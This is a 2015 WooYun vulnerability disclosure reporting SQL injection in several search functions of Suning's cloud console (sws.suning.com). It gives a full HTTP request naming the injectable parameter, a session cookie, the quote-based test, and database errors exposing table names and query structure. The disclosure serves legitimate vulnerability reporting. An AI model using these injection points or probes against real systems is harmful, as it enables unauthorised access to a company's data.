当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119023

漏洞标题:苏宁某重要站点7处SQL注射三到六打包提交

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: DloveJ

提交时间:2015-06-09 11:24

修复时间:2015-07-24 12:48

公开时间:2015-07-24 12:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-09: 厂商已经确认,细节仅向厂商公开
2015-06-19: 细节向核心白帽子及相关领域专家公开
2015-06-29: 细节向普通白帽子公开
2015-07-09: 细节向实习白帽子公开
2015-07-24: 细节向公众公开

简要描述:

苏宁某重要站点7处SQL注射三

详细说明:

3.没有重复,具体看包

注入点:弹性计算>云服务器>搜索


1.png


GET /api.htm?noCache=1433836062162&active=&command=queryVmInstances&keyword=1&pageNumber=1 HTTP/1.1
Host: sws.suning.com
Proxy-Connection: keep-alive
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Referer: http://sws.suning.com/console.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ZONE_ID=z-nj1; JSESSIONID=fIU5qrxIh1xaM6tjgYJxZ-uD.master:fserver2


注入参数:keyword=1


1正常;1'错误


2.png


PreparedStatementCallback; bad SQL grammar [SELECT COUNT(*) count FROM T_INSTANCE_INFO_VIEW WHERE vmStatus != 0 AND zoneId = ? AND userId = ? AND (vmUuid like '%1'%' OR vmName like '%1'%') ]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR vmName like '%1'%')' at line 1


SELECT COUNT(*) count FROM T_INSTANCE_INFO_VIEW

漏洞证明:

4.

http://sws.suning.com/


弹性计算>硬盘>搜索

搜索1正常


2.png


搜索1'错误


1.png


PreparedStatementCallback; bad SQL grammar [SELECT COUNT(*) count FROM T_VOLUMES WHERE STATUS != 0 AND RDS_TYPE = 0 AND USER_ID = ? AND ZONE_ID = ? AND (UUID like '%1'%' OR NAME like '%1'%')]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR NAME like '%1'%')' at line 1


SELECT COUNT(*) count FROM T_VOLUMES


5.

http://sws.suning.com/


弹性计算>备份>搜索

搜索1正常


1.png


搜索1'错误


2.png


PreparedStatementCallback; bad SQL grammar [SELECT COUNT(*) count FROM T_BACKUPS_INFO_VIEW WHERE STATUS != 0 AND USER_ID = ? AND ZONE_ID = ? AND ( UUID like '%1'%' OR NAME like '%1'%' ) ]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR NAME like '%1'%' )' at line 1

SELECT COUNT(*) count FROM T_BACKUPS_INFO_VIEW


6.

http://sws.suning.com/


第一处:弹性计算>网络>搜索>


1.png


第二处:弹性计算>公网ip>搜索


1.png


第三处:弹性计算>SSH密钥>搜索


1.png


第四处:弹性计算>影像>搜索


1.png

修复方案:

你懂的。。

版权声明:转载请注明来源 DloveJ@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-09 11:42

厂商回复:

感谢提交,请证明能获取到数据。

最新状态:

暂无